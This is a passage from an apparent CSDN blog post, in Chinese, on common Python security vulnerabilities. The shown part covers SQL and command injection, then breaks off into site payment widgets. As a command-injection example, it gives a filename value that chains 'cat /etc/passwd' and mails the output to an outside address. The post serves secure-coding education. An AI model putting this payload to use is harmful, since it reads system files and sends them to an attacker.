初学者注意,Python中10个常见的安全漏洞及修复方法

本文列举了Python中常见的10个安全漏洞,包括输入注入、XML解析安全、assert语句误用等,并提供了相应的修复建议。如使用ORM避免SQL注入,用defusedxml替换标准库防范XML攻击,以及使用secrets.compare_digest对比密码等。
摘要由CSDN通过智能技术生成

编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例。然而,许多 Python 开发人员却根本不知道这些。

以下是我总结的10个Python常见安全漏洞,排名不分先后。

1、输入注入

注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串与变量混合。我读过很多代码,其中“引号字符转义”被认为是一种修复,但事实并非如此,可以通过这个链接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能发生的方式。

命令注入有可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本(链接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用户提供的文件名调用子进程:

图片

攻击者会将filename的值设置为“; cat /etc/passwd | mail them@domain.com

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值